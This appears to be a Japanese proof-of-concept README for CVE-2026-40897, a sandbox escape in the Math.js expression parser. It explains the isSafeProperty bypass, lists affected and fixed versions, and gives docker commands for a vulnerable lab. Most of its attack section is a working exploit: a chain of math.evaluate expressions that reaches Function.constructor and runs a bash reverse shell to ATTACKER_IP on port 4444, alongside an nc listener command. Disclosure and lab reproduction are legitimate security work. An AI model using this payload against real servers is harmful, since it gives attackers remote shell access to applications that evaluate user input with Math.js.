
Math.js 式パーサー RCE
★ CVE-2026-40897 Math.js PoC リモートコード実行 ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 は、Math.js の式パーサーにおけるリモートコード実行につながるサンドボックス回避の脆弱性です。
isSafePropertyフィルターは、ユーザー式からのプロパティアクセスのみをチェックし、内部コードパスからのアクセスはチェックしません。toJSON()を介してArrayNodeの内部配列を漏えいさせ、その.mapを上書きすることで、攻撃者は内部コードにFunction.constructorへアクセスさせ、任意の JavaScript を実行させることができます。
| カテゴリ | バージョン |
|---|---|
| 影響を受ける | Math.js 13.1.1 ≤ バージョン ≤ 15.1.1 |
| 修正済み | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
脆弱な環境を起動したら、以下の手順に従って攻撃を再現してください。
nc -lvnp 4444
以下の式を math.evaluate に送信します(例: アプリケーションの計算入力経由)。
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
ターゲットサーバーが攻撃者のリスナーに接続し、インタラクティブな bash シェルが得られます。
math.evaluate() に直接渡さないreviver、FunctionAssignmentNode、ArrayNode)の露出を制限する